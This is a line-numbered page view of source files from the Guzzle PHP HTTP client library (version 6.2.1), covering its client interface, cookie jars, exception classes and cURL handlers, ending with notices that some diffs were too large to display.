5 use GuzzleHttp\Exception\GuzzleException;
6 use Psr\Http\Message\RequestInterface;
7 use Psr\Http\Message\ResponseInterface;
8 use Psr\Http\Message\UriInterface;
9
10 /**
11 * Client interface for sending HTTP requests.
12 */
13 interface ClientInterface
14 {
15 const VERSION = '6.2.1';
16
17 /**
18 * Send an HTTP request.
19 *
20 * @param RequestInterface $request Request to send
21 * @param array $options Request options to apply to the given
22 * request and to the transfer.
23 *
24 * @return ResponseInterface
25 * @throws GuzzleException
26 */
27 public function send(RequestInterface $request, array $options = []);
28
29 /**
30 * Asynchronously send an HTTP request.
31 *
32 * @param RequestInterface $request Request to send
33 * @param array $options Request options to apply to the given
34 * request and to the transfer.
35 *
36 * @return PromiseInterface
37 */
38 public function sendAsync(RequestInterface $request, array $options = []);
39
40 /**
41 * Create and send an HTTP request.
42 *
43 * Use an absolute path to override the base path of the client, or a
44 * relative path to append to the base path of the client. The URL can
45 * contain the query string as well.
46 *
47 * @param string $method HTTP method.
48 * @param string|UriInterface $uri URI object or string.
49 * @param array $options Request options to apply.
50 *
51 * @return ResponseInterface
52 * @throws GuzzleException
53 */
54 public function request($method, $uri, array $options = []);
55
56 /**
57 * Create and send an asynchronous HTTP request.
58 *
59 * Use an absolute path to override the base path of the client, or a
60 * relative path to append to the base path of the client. The URL can
61 * contain the query string as well. Use an array to provide a URL
62 * template and additional variables to use in the URL template expansion.
63 *
64 * @param string $method HTTP method
65 * @param string|UriInterface $uri URI object or string.
66 * @param array $options Request options to apply.
67 *
68 * @return PromiseInterface
69 */
70 public function requestAsync($method, $uri, array $options = []);
71
72 /**
73 * Get a client configuration option.
74 *
75 * These options include default request options of the client, a "handler"
76 * (if utilized by the concrete client), and a "base_uri" if utilized by
77 * the concrete client.
78 *
79 * @param string|null $option The config option to retrieve.
80 *
81 * @return mixed
82 */
83 public function getConfig($option = null);
84 }
1 <?php
2 namespace GuzzleHttp\Cookie;
3
4 use Psr\Http\Message\RequestInterface;
5 use Psr\Http\Message\ResponseInterface;
6
7 /**
8 * Cookie jar that stores cookies as an array
9 */
10 class CookieJar implements CookieJarInterface
11 {
12 /** @var SetCookie[] Loaded cookie data */
13 private $cookies = [];
14
15 /** @var bool */
16 private $strictMode;
17
18 /**
19 * @param bool $strictMode Set to true to throw exceptions when invalid
20 * cookies are added to the cookie jar.
21 * @param array $cookieArray Array of SetCookie objects or a hash of
22 * arrays that can be used with the SetCookie
23 * constructor
24 */
25 public function __construct($strictMode = false, $cookieArray = [])
26 {
27 $this->strictMode = $strictMode;
28
29 foreach ($cookieArray as $cookie) {
30 if (!($cookie instanceof SetCookie)) {
31 $cookie = new SetCookie($cookie);
32 }
33 $this->setCookie($cookie);
34 }
35 }
36
37 /**
38 * Create a new Cookie jar from an associative array and domain.
39 *
40 * @param array $cookies Cookies to create the jar from
41 * @param string $domain Domain to set the cookies to
42 *
43 * @return self
44 */
45 public static function fromArray(array $cookies, $domain)
46 {
47 $cookieJar = new self();
48 foreach ($cookies as $name => $value) {
49 $cookieJar->setCookie(new SetCookie([
50 'Domain' => $domain,
51 'Name' => $name,
52 'Value' => $value,
53 'Discard' => true
54 ]));
55 }
56
57 return $cookieJar;
58 }
59
60 /**
61 * @deprecated
62 */
63 public static function getCookieValue($value)
64 {
65 return $value;
66 }
67
68 /**
69 * Evaluate if this cookie should be persisted to storage
70 * that survives between requests.
71 *
72 * @param SetCookie $cookie Being evaluated.
73 * @param bool $allowSessionCookies If we should persist session cookies
74 * @return bool
75 */
76 public static function shouldPersist(
77 SetCookie $cookie,
78 $allowSessionCookies = false
79 ) {
80 if ($cookie->getExpires() || $allowSessionCookies) {
81 if (!$cookie->getDiscard()) {
82 return true;
83 }
84 }
85
86 return false;
87 }
88
89 public function toArray()
90 {
91 return array_map(function (SetCookie $cookie) {
92 return $cookie->toArray();
93 }, $this->getIterator()->getArrayCopy());
94 }
95
96 public function clear($domain = null, $path = null, $name = null)
97 {
98 if (!$domain) {
99 $this->cookies = [];
100 return;
101 } elseif (!$path) {
102 $this->cookies = array_filter(
103 $this->cookies,
104 function (SetCookie $cookie) use ($path, $domain) {
105 return !$cookie->matchesDomain($domain);
106 }
107 );
108 } elseif (!$name) {
109 $this->cookies = array_filter(
110 $this->cookies,
111 function (SetCookie $cookie) use ($path, $domain) {
112 return !($cookie->matchesPath($path) &&
113 $cookie->matchesDomain($domain));
114 }
115 );
116 } else {
117 $this->cookies = array_filter(
118 $this->cookies,
119 function (SetCookie $cookie) use ($path, $domain, $name) {
120 return !($cookie->getName() == $name &&
121 $cookie->matchesPath($path) &&
122 $cookie->matchesDomain($domain));
123 }
124 );
125 }
126 }
127
128 public function clearSessionCookies()
129 {
130 $this->cookies = array_filter(
131 $this->cookies,
132 function (SetCookie $cookie) {
133 return !$cookie->getDiscard() && $cookie->getExpires();
134 }
135 );
136 }
137
138 public function setCookie(SetCookie $cookie)
139 {
140 // If the name string is empty (but not 0), ignore the set-cookie
141 // string entirely.
142 $name = $cookie->getName();
143 if (!$name && $name !== '0') {
144 return false;
145 }
146
147 // Only allow cookies with set and valid domain, name, value
148 $result = $cookie->validate();
149 if ($result !== true) {
150 if ($this->strictMode) {
151 throw new \RuntimeException('Invalid cookie: ' . $result);
152 } else {
153 $this->removeCookieIfEmpty($cookie);
154 return false;
155 }
156 }
157
158 // Resolve conflicts with previously set cookies
159 foreach ($this->cookies as $i => $c) {
160
161 // Two cookies are identical, when their path, and domain are
162 // identical.
163 if ($c->getPath() != $cookie->getPath() ||
164 $c->getDomain() != $cookie->getDomain() ||
165 $c->getName() != $cookie->getName()
166 ) {
167 continue;
168 }
169
170 // The previously set cookie is a discard cookie and this one is
171 // not so allow the new cookie to be set
172 if (!$cookie->getDiscard() && $c->getDiscard()) {
173 unset($this->cookies[$i]);
174 continue;
175 }
176
177 // If the new cookie's expiration is further into the future, then
178 // replace the old cookie
179 if ($cookie->getExpires() > $c->getExpires()) {
180 unset($this->cookies[$i]);
181 continue;
182 }
183
184 // If the value has changed, we better change it
185 if ($cookie->getValue() !== $c->getValue()) {
186 unset($this->cookies[$i]);
187 continue;
188 }
189
190 // The cookie exists, so no need to continue
191 return false;
192 }
193
194 $this->cookies[] = $cookie;
195
196 return true;
197 }
198
199 public function count()
200 {
201 return count($this->cookies);
202 }
203
204 public function getIterator()
205 {
206 return new \ArrayIterator(array_values($this->cookies));
207 }
208
209 public function extractCookies(
210 RequestInterface $request,
211 ResponseInterface $response
212 ) {
213 if ($cookieHeader = $response->getHeader('Set-Cookie')) {
214 foreach ($cookieHeader as $cookie) {
215 $sc = SetCookie::fromString($cookie);
216 if (!$sc->getDomain()) {
217 $sc->setDomain($request->getUri()->getHost());
218 }
219 $this->setCookie($sc);
220 }
221 }
222 }
223
224 public function withCookieHeader(RequestInterface $request)
225 {
226 $values = [];
227 $uri = $request->getUri();
228 $scheme = $uri->getScheme();
229 $host = $uri->getHost();
230 $path = $uri->getPath() ?: '/';
231
232 foreach ($this->cookies as $cookie) {
233 if ($cookie->matchesPath($path) &&
234 $cookie->matchesDomain($host) &&
235 !$cookie->isExpired() &&
236 (!$cookie->getSecure() || $scheme === 'https')
237 ) {
238 $values[] = $cookie->getName() . '='
239 . $cookie->getValue();
240 }
241 }
242
243 return $values
244 ? $request->withHeader('Cookie', implode('; ', $values))
245 : $request;
246 }
247
248 /**
249 * If a cookie already exists and the server asks to set it again with a
250 * null value, the cookie must be deleted.
251 *
252 * @param SetCookie $cookie
253 */
254 private function removeCookieIfEmpty(SetCookie $cookie)
255 {
256 $cookieValue = $cookie->getValue();
257 if ($cookieValue === null || $cookieValue === '') {
258 $this->clear(
259 $cookie->getDomain(),
260 $cookie->getPath(),
261 $cookie->getName()
262 );
263 }
264 }
265 }
1 <?php
2 namespace GuzzleHttp\Cookie;
3
4 use Psr\Http\Message\RequestInterface;
5 use Psr\Http\Message\ResponseInterface;
6
7 /**
8 * Stores HTTP cookies.
9 *
10 * It extracts cookies from HTTP requests, and returns them in HTTP responses.
11 * CookieJarInterface instances automatically expire contained cookies when
12 * necessary. Subclasses are also responsible for storing and retrieving
13 * cookies from a file, database, etc.
14 *
15 * @link http://docs.python.org/2/library/cookielib.html Inspiration
16 */
17 interface CookieJarInterface extends \Countable, \IteratorAggregate
18 {
19 /**
20 * Create a request with added cookie headers.
21 *
22 * If no matching cookies are found in the cookie jar, then no Cookie
23 * header is added to the request and the same request is returned.
24 *
25 * @param RequestInterface $request Request object to modify.
26 *
27 * @return RequestInterface returns the modified request.
28 */
29 public function withCookieHeader(RequestInterface $request);
30
31 /**
32 * Extract cookies from an HTTP response and store them in the CookieJar.
33 *
34 * @param RequestInterface $request Request that was sent
35 * @param ResponseInterface $response Response that was received
36 */
37 public function extractCookies(
38 RequestInterface $request,
39 ResponseInterface $response
40 );
41
42 /**
43 * Sets a cookie in the cookie jar.
44 *
45 * @param SetCookie $cookie Cookie to set.
46 *
47 * @return bool Returns true on success or false on failure
48 */
49 public function setCookie(SetCookie $cookie);
50
51 /**
52 * Remove cookies currently held in the cookie jar.
53 *
54 * Invoking this method without arguments will empty the whole cookie jar.
55 * If given a $domain argument only cookies belonging to that domain will
56 * be removed. If given a $domain and $path argument, cookies belonging to
57 * the specified path within that domain are removed. If given all three
58 * arguments, then the cookie with the specified name, path and domain is
59 * removed.
60 *
61 * @param string $domain Clears cookies matching a domain
62 * @param string $path Clears cookies matching a domain and path
63 * @param string $name Clears cookies matching a domain, path, and name
64 *
65 * @return CookieJarInterface
66 */
67 public function clear($domain = null, $path = null, $name = null);
68
69 /**
70 * Discard all sessions cookies.
71 *
72 * Removes cookies that don't have an expire field or a have a discard
73 * field set to true. To be called when the user agent shuts down according
74 * to RFC 2965.
75 */
76 public function clearSessionCookies();
77
78 /**
79 * Converts the cookie jar to an array.
80 *
81 * @return array
82 */
83 public function toArray();
84 }
1 <?php
2 namespace GuzzleHttp\Cookie;
3
4 /**
5 * Persists non-session cookies using a JSON formatted file
6 */
7 class FileCookieJar extends CookieJar
8 {
9 /** @var string filename */
10 private $filename;
11
12 /** @var bool Control whether to persist session cookies or not. */
13 private $storeSessionCookies;
14
15 /**
16 * Create a new FileCookieJar object
17 *
18 * @param string $cookieFile File to store the cookie data
19 * @param bool $storeSessionCookies Set to true to store session cookies
20 * in the cookie jar.
21 *
22 * @throws \RuntimeException if the file cannot be found or created
23 */
24 public function __construct($cookieFile, $storeSessionCookies = false)
25 {
26 $this->filename = $cookieFile;
27 $this->storeSessionCookies = $storeSessionCookies;
28
29 if (file_exists($cookieFile)) {
30 $this->load($cookieFile);
31 }
32 }
33
34 /**
35 * Saves the file when shutting down
36 */
37 public function __destruct()
38 {
39 $this->save($this->filename);
40 }
41
42 /**
43 * Saves the cookies to a file.
44 *
45 * @param string $filename File to save
46 * @throws \RuntimeException if the file cannot be found or created
47 */
48 public function save($filename)
49 {
50 $json = [];
51 foreach ($this as $cookie) {
52 /** @var SetCookie $cookie */
53 if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
54 $json[] = $cookie->toArray();
55 }
56 }
57
58 $jsonStr = \GuzzleHttp\json_encode($json);
59 if (false === file_put_contents($filename, $jsonStr)) {
60 throw new \RuntimeException("Unable to save file {$filename}");
61 }
62 }
63
64 /**
65 * Load cookies from a JSON formatted file.
66 *
67 * Old cookies are kept unless overwritten by newly loaded ones.
68 *
69 * @param string $filename Cookie file to load.
70 * @throws \RuntimeException if the file cannot be loaded.
71 */
72 public function load($filename)
73 {
74 $json = file_get_contents($filename);
75 if (false === $json) {
76 throw new \RuntimeException("Unable to load file {$filename}");
77 } elseif ($json === '') {
78 return;
79 }
80
81 $data = \GuzzleHttp\json_decode($json, true);
82 if (is_array($data)) {
83 foreach (json_decode($json, true) as $cookie) {
84 $this->setCookie(new SetCookie($cookie));
85 }
86 } elseif (strlen($data)) {
87 throw new \RuntimeException("Invalid cookie file: {$filename}");
88 }
89 }
90 }
1 <?php
2 namespace GuzzleHttp\Cookie;
3
4 /**
5 * Persists cookies in the client session
6 */
7 class SessionCookieJar extends CookieJar
8 {
9 /** @var string session key */
10 private $sessionKey;
11
12 /** @var bool Control whether to persist session cookies or not. */
13 private $storeSessionCookies;
14
15 /**
16 * Create a new SessionCookieJar object
17 *
18 * @param string $sessionKey Session key name to store the cookie
19 * data in session
20 * @param bool $storeSessionCookies Set to true to store session cookies
21 * in the cookie jar.
22 */
23 public function __construct($sessionKey, $storeSessionCookies = false)
24 {
25 $this->sessionKey = $sessionKey;
26 $this->storeSessionCookies = $storeSessionCookies;
27 $this->load();
28 }
29
30 /**
31 * Saves cookies to session when shutting down
32 */
33 public function __destruct()
34 {
35 $this->save();
36 }
37
38 /**
39 * Save cookies to the client session
40 */
41 public function save()
42 {
43 $json = [];
44 foreach ($this as $cookie) {
45 /** @var SetCookie $cookie */
46 if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
47 $json[] = $cookie->toArray();
48 }
49 }
50
51 $_SESSION[$this->sessionKey] = json_encode($json);
52 }
53
54 /**
55 * Load the contents of the client session into the data array
56 */
57 protected function load()
58 {
59 if (!isset($_SESSION[$this->sessionKey])) {
60 return;
61 }
62 $data = json_decode($_SESSION[$this->sessionKey], true);
63 if (is_array($data)) {
64 foreach ($data as $cookie) {
65 $this->setCookie(new SetCookie($cookie));
66 }
67 } elseif (strlen($data)) {
68 throw new \RuntimeException("Invalid cookie data");
69 }
70 }
71 }
1 <?php
2 namespace GuzzleHttp\Exception;
3
4 /**
5 * Exception when an HTTP error occurs (4xx or 5xx error)
6 */
7 class BadResponseException extends RequestException {}
1 <?php
2 namespace GuzzleHttp\Exception;
3
4 /**
5 * Exception when a client error is encountered (4xx codes)
6 */
7 class ClientException extends BadResponseException {}
1 <?php
2 namespace GuzzleHttp\Exception;
3
4 use Psr\Http\Message\RequestInterface;
5
6 /**
7 * Exception thrown when a connection cannot be established.
8 *
9 * Note that no response is present for a ConnectException
10 */
11 class ConnectException extends RequestException
12 {
13 public function __construct(
14 $message,
15 RequestInterface $request,
16 \Exception $previous = null,
17 array $handlerContext = []
18 ) {
19 parent::__construct($message, $request, null, $previous, $handlerContext);
20 }
21
22 /**
23 * @return null
24 */
25 public function getResponse()
26 {
27 return null;
28 }
29
30 /**
31 * @return bool
32 */
33 public function hasResponse()
34 {
35 return false;
36 }
37 }
1 <?php
2 namespace GuzzleHttp\Exception;
3
4 interface GuzzleException {}
1 <?php
2 namespace GuzzleHttp\Exception;
3
4 use Psr\Http\Message\RequestInterface;
5 use Psr\Http\Message\ResponseInterface;
6 use GuzzleHttp\Promise\PromiseInterface;
7 use Psr\Http\Message\UriInterface;
8
9 /**
10 * HTTP Request exception
11 */
12 class RequestException extends TransferException
13 {
14 /** @var RequestInterface */
15 private $request;
16
17 /** @var ResponseInterface */
18 private $response;
19
20 /** @var array */
21 private $handlerContext;
22
23 public function __construct(
24 $message,
25 RequestInterface $request,
26 ResponseInterface $response = null,
27 \Exception $previous = null,
28 array $handlerContext = []
29 ) {
30 // Set the code of the exception if the response is set and not future.
31 $code = $response && !($response instanceof PromiseInterface)
32 ? $response->getStatusCode()
33 : 0;
34 parent::__construct($message, $code, $previous);
35 $this->request = $request;
36 $this->response = $response;
37 $this->handlerContext = $handlerContext;
38 }
39
40 /**
41 * Wrap non-RequestExceptions with a RequestException
42 *
43 * @param RequestInterface $request
44 * @param \Exception $e
45 *
46 * @return RequestException
47 */
48 public static function wrapException(RequestInterface $request, \Exception $e)
49 {
50 return $e instanceof RequestException
51 ? $e
52 : new RequestException($e->getMessage(), $request, null, $e);
53 }
54
55 /**
56 * Factory method to create a new exception with a normalized error message
57 *
58 * @param RequestInterface $request Request
59 * @param ResponseInterface $response Response received
60 * @param \Exception $previous Previous exception
61 * @param array $ctx Optional handler context.
62 *
63 * @return self
64 */
65 public static function create(
66 RequestInterface $request,
67 ResponseInterface $response = null,
68 \Exception $previous = null,
69 array $ctx = []
70 ) {
71 if (!$response) {
72 return new self(
73 'Error completing request',
74 $request,
75 null,
76 $previous,
77 $ctx
78 );
79 }
80
81 $level = (int) floor($response->getStatusCode() / 100);
82 if ($level === 4) {
83 $label = 'Client error';
84 $className = __NAMESPACE__ . '\\ClientException';
85 } elseif ($level === 5) {
86 $label = 'Server error';
87 $className = __NAMESPACE__ . '\\ServerException';
88 } else {
89 $label = 'Unsuccessful request';
90 $className = __CLASS__;
91 }
92
93 $uri = $request->getUri();
94 $uri = static::obfuscateUri($uri);
95
96 // Server Error: `GET /` resulted in a `404 Not Found` response:
97 // <html> ... (truncated)
98 $message = sprintf(
99 '%s: `%s` resulted in a `%s` response',
100 $label,
101 $request->getMethod() . ' ' . $uri,
102 $response->getStatusCode() . ' ' . $response->getReasonPhrase()
103 );
104
105 $summary = static::getResponseBodySummary($response);
106
107 if ($summary !== null) {
108 $message .= ":\n{$summary}\n";
109 }
110
111 return new $className($message, $request, $response, $previous, $ctx);
112 }
113
114 /**
115 * Get a short summary of the response
116 *
117 * Will return `null` if the response is not printable.
118 *
119 * @param ResponseInterface $response
120 *
121 * @return string|null
122 */
123 public static function getResponseBodySummary(ResponseInterface $response)
124 {
125 $body = $response->getBody();
126
127 if (!$body->isSeekable()) {
128 return null;
129 }
130
131 $size = $body->getSize();
132 $summary = $body->read(120);
133 $body->rewind();
134
135 if ($size > 120) {
136 $summary .= ' (truncated...)';
137 }
138
139 // Matches any printable character, including unicode characters:
140 // letters, marks, numbers, punctuation, spacing, and separators.
141 if (preg_match('/[^\pL\pM\pN\pP\pS\pZ\n\r\t]/', $summary)) {
142 return null;
143 }
144
145 return $summary;
146 }
147
148 /**
149 * Obfuscates URI if there is an username and a password present
150 *
151 * @param UriInterface $uri
152 *
153 * @return UriInterface
154 */
155 private static function obfuscateUri($uri)
156 {
157 $userInfo = $uri->getUserInfo();
158
159 if (false !== ($pos = strpos($userInfo, ':'))) {
160 return $uri->withUserInfo(substr($userInfo, 0, $pos), '***');
161 }
162
163 return $uri;
164 }
165
166 /**
167 * Get the request that caused the exception
168 *
169 * @return RequestInterface
170 */
171 public function getRequest()
172 {
173 return $this->request;
174 }
175
176 /**
177 * Get the associated response
178 *
179 * @return ResponseInterface|null
180 */
181 public function getResponse()
182 {
183 return $this->response;
184 }
185
186 /**
187 * Check if a response was received
188 *
189 * @return bool
190 */
191 public function hasResponse()
192 {
193 return $this->response !== null;
194 }
195
196 /**
197 * Get contextual information about the error from the underlying handler.
198 *
199 * The contents of this array will vary depending on which handler you are
200 * using. It may also be just an empty array. Relying on this data will
201 * couple you to a specific handler, but can give more debug information
202 * when needed.
203 *
204 * @return array
205 */
206 public function getHandlerContext()
207 {
208 return $this->handlerContext;
209 }
210 }
1 <?php
2 namespace GuzzleHttp\Exception;
3
4 use Psr\Http\Message\StreamInterface;
5
6 /**
7 * Exception thrown when a seek fails on a stream.
8 */
9 class SeekException extends \RuntimeException implements GuzzleException
10 {
11 private $stream;
12
13 public function __construct(StreamInterface $stream, $pos = 0, $msg = '')
14 {
15 $this->stream = $stream;
16 $msg = $msg ?: 'Could not seek the stream to position ' . $pos;
17 parent::__construct($msg);
18 }
19
20 /**
21 * @return StreamInterface
22 */
23 public function getStream()
24 {
25 return $this->stream;
26 }
27 }
1 <?php
2 namespace GuzzleHttp\Exception;
3
4 /**
5 * Exception when a server error is encountered (5xx codes)
6 */
7 class ServerException extends BadResponseException {}
1 <?php
2 namespace GuzzleHttp\Exception;
3
4 class TooManyRedirectsException extends RequestException {}
1 <?php
2 namespace GuzzleHttp\Exception;
3
4 class TransferException extends \RuntimeException implements GuzzleException {}
1 <?php
2 namespace GuzzleHttp\Handler;
3
4 use Psr\Http\Message\RequestInterface;
5
6 interface CurlFactoryInterface
7 {
8 /**
9 * Creates a cURL handle resource.
10 *
11 * @param RequestInterface $request Request
12 * @param array $options Transfer options
13 *
14 * @return EasyHandle
15 * @throws \RuntimeException when an option cannot be applied
16 */
17 public function create(RequestInterface $request, array $options);
18
19 /**
20 * Release an easy handle, allowing it to be reused or closed.
21 *
22 * This function must call unset on the easy handle's "handle" property.
23 *
24 * @param EasyHandle $easy
25 */
26 public function release(EasyHandle $easy);
27 }
1 <?php
2 namespace GuzzleHttp\Handler;
3
4 use GuzzleHttp\Psr7;
5 use Psr\Http\Message\RequestInterface;
6
7 /**
8 * HTTP handler that uses cURL easy handles as a transport layer.
9 *
10 * When using the CurlHandler, custom curl options can be specified as an
11 * associative array of curl option constants mapping to values in the
12 * **curl** key of the "client" key of the request.
13 */
14 class CurlHandler
15 {
16 /** @var CurlFactoryInterface */
17 private $factory;
18
19 /**
20 * Accepts an associative array of options:
21 *
22 * - factory: Optional curl factory used to create cURL handles.
23 *
24 * @param array $options Array of options to use with the handler
25 */
26 public function __construct(array $options = [])
27 {
28 $this->factory = isset($options['handle_factory'])
29 ? $options['handle_factory']
30 : new CurlFactory(3);
31 }
32
33 public function __invoke(RequestInterface $request, array $options)
34 {
35 if (isset($options['delay'])) {
36 usleep($options['delay'] * 1000);
37 }
38
39 $easy = $this->factory->create($request, $options);
40 curl_exec($easy->handle);
41 $easy->errno = curl_errno($easy->handle);
42
43 return CurlFactory::finish($this, $easy, $this->factory);
44 }
45 }
1 <?php
2 namespace GuzzleHttp\Handler;
3
4 use GuzzleHttp\Promise as P;
5 use GuzzleHttp\Promise\Promise;
6 use GuzzleHttp\Psr7;
7 use Psr\Http\Message\RequestInterface;
8
9 /**
10 * Returns an asynchronous response using curl_multi_* functions.
11 *
12 * When using the CurlMultiHandler, custom curl options can be specified as an
13 * associative array of curl option constants mapping to values in the
14 * **curl** key of the provided request options.
15 *
16 * @property resource $_mh Internal use only. Lazy loaded multi-handle.
17 */
18 class CurlMultiHandler
19 {
20 /** @var CurlFactoryInterface */
21 private $factory;
22 private $selectTimeout;
23 private $active;
24 private $handles = [];
25 private $delays = [];
26
27 /**
28 * This handler accepts the following options:
29 *
30 * - handle_factory: An optional factory used to create curl handles
31 * - select_timeout: Optional timeout (in seconds) to block before timing
32 * out while selecting curl handles. Defaults to 1 second.
33 *
34 * @param array $options
35 */
36 public function __construct(array $options = [])
37 {
38 $this->factory = isset($options['handle_factory'])
39 ? $options['handle_factory'] : new CurlFactory(50);
40 $this->selectTimeout = isset($options['select_timeout'])
41 ? $options['select_timeout'] : 1;
42 }
43
44 public function __get($name)
45 {
46 if ($name === '_mh') {
47 return $this->_mh = curl_multi_init();
48 }
49
50 throw new \BadMethodCallException();
51 }
52
53 public function __destruct()
54 {
55 if (isset($this->_mh)) {
56 curl_multi_close($this->_mh);
57 unset($this->_mh);
58 }
59 }
60
61 public function __invoke(RequestInterface $request, array $options)
62 {
63 $easy = $this->factory->create($request, $options);
64 $id = (int) $easy->handle;
65
66 $promise = new Promise(
67 [$this, 'execute'],
68 function () use ($id) { return $this->cancel($id); }
69 );
70
71 $this->addRequest(['easy' => $easy, 'deferred' => $promise]);
72
73 return $promise;
74 }
75
76 /**
77 * Ticks the curl event loop.
78 */
79 public function tick()
80 {
81 // Add any delayed handles if needed.
82 if ($this->delays) {
83 $currentTime = microtime(true);
84 foreach ($this->delays as $id => $delay) {
85 if ($currentTime >= $delay) {
86 unset($this->delays[$id]);
87 curl_multi_add_handle(
88 $this->_mh,
89 $this->handles[$id]['easy']->handle
90 );
91 }
92 }
93 }
94
95 // Step through the task queue which may add additional requests.
96 P\queue()->run();
97
98 if ($this->active &&
99 curl_multi_select($this->_mh, $this->selectTimeout) === -1
100 ) {
101 // Perform a usleep if a select returns -1.
102 // See: https://bugs.php.net/bug.php?id=61141
103 usleep(250);
104 }
105
106 while (curl_multi_exec($this->_mh, $this->active) === CURLM_CALL_MULTI_PERFORM);
107
108 $this->processMessages();
109 }
110
111 /**
112 * Runs until all outstanding connections have completed.
113 */
114 public function execute()
115 {
116 $queue = P\queue();
117
118 while ($this->handles || !$queue->isEmpty()) {
119 // If there are no transfers, then sleep for the next delay
120 if (!$this->active && $this->delays) {
121 usleep($this->timeToNext());
122 }
123 $this->tick();
124 }
125 }
126
127 private function addRequest(array $entry)
128 {
129 $easy = $entry['easy'];
130 $id = (int) $easy->handle;
131 $this->handles[$id] = $entry;
132 if (empty($easy->options['delay'])) {
133 curl_multi_add_handle($this->_mh, $easy->handle);
134 } else {
135 $this->delays[$id] = microtime(true) + ($easy->options['delay'] / 1000);
136 }
137 }
138
139 /**
140 * Cancels a handle from sending and removes references to it.
141 *
142 * @param int $id Handle ID to cancel and remove.
143 *
144 * @return bool True on success, false on failure.
145 */
146 private function cancel($id)
147 {
148 // Cannot cancel if it has been processed.
149 if (!isset($this->handles[$id])) {
150 return false;
151 }
152
153 $handle = $this->handles[$id]['easy']->handle;
154 unset($this->delays[$id], $this->handles[$id]);
155 curl_multi_remove_handle($this->_mh, $handle);
156 curl_close($handle);
157
158 return true;
159 }
160
161 private function processMessages()
162 {
163 while ($done = curl_multi_info_read($this->_mh)) {
164 $id = (int) $done['handle'];
165 curl_multi_remove_handle($this->_mh, $done['handle']);
166
167 if (!isset($this->handles[$id])) {
168 // Probably was cancelled.
169 continue;
170 }
171
172 $entry = $this->handles[$id];
173 unset($this->handles[$id], $this->delays[$id]);
174 $entry['easy']->errno = $done['result'];
175 $entry['deferred']->resolve(
176 CurlFactory::finish(
177 $this,
178 $entry['easy'],
179 $this->factory
180 )
181 );
182 }
183 }
184
185 private function timeToNext()
186 {
187 $currentTime = microtime(true);
188 $nextTime = PHP_INT_MAX;
189 foreach ($this->delays as $time) {
190 if ($time < $nextTime) {
191 $nextTime = $time;
192 }
193 }
194
195 return max(0, $nextTime - $currentTime) * 1000000;
196 }
197 }
1 <?php
2 namespace GuzzleHttp\Handler;
3
4 use GuzzleHttp\Psr7\Response;
5 use Psr\Http\Message\RequestInterface;
6 use Psr\Http\Message\ResponseInterface;
7 use Psr\Http\Message\StreamInterface;
8
9 /**
10 * Represents a cURL easy handle and the data it populates.
11 *
12 * @internal
13 */
14 final class EasyHandle
15 {
16 /** @var resource cURL resource */
17 public $handle;
18
19 /** @var StreamInterface Where data is being written */
20 public $sink;
21
22 /** @var array Received HTTP headers so far */
23 public $headers = [];
24
25 /** @var ResponseInterface Received response (if any) */
26 public $response;
27
28 /** @var RequestInterface Request being sent */
29 public $request;
30
31 /** @var array Request options */
32 public $options = [];
33
34 /** @var int cURL error number (if any) */
35 public $errno = 0;
36
37 /** @var \Exception Exception during on_headers (if any) */
38 public $onHeadersException;
39
40 /**
41 * Attach a response to the easy handle based on the received headers.
42 *
43 * @throws \RuntimeException if no headers have been received.
44 */
45 public function createResponse()
46 {
47 if (empty($this->headers)) {
48 throw new \RuntimeException('No headers have been received');
49 }
50
51 // HTTP-version SP status-code SP reason-phrase
52 $startLine = explode(' ', array_shift($this->headers), 3);
53 $headers = \GuzzleHttp\headers_from_lines($this->headers);
54 $normalizedKeys = \GuzzleHttp\normalize_header_keys($headers);
55
56 if (!empty($this->options['decode_content'])
57 && isset($normalizedKeys['content-encoding'])
58 ) {
59 $headers['x-encoded-content-encoding']
60 = $headers[$normalizedKeys['content-encoding']];
61 unset($headers[$normalizedKeys['content-encoding']]);
62 if (isset($normalizedKeys['content-length'])) {
63 $headers['x-encoded-content-length']
64 = $headers[$normalizedKeys['content-length']];
65
66 $bodyLength = (int) $this->sink->getSize();
67 if ($bodyLength) {
68 $headers[$normalizedKeys['content-length']] = $bodyLength;
69 } else {
70 unset($headers[$normalizedKeys['content-length']]);
71 }
72 }
73 }
74
75 // Attach a response to the easy handle with the parsed headers.
76 $this->response = new Response(
77 $startLine[1],
78 $headers,
79 $this->sink,
80 substr($startLine[0], 5),
81 isset($startLine[2]) ? (string) $startLine[2] : null
82 );
83 }
84
85 public function __get($name)
86 {
87 $msg = $name === 'handle'
88 ? 'The EasyHandle has been released'
89 : 'Invalid property: ' . $name;
90 throw new \BadMethodCallException($msg);
91 }
92 }
This diff could not be displayed because it is too large.
This diff could not be displayed because it is too large.
This diff could not be displayed because it is too large.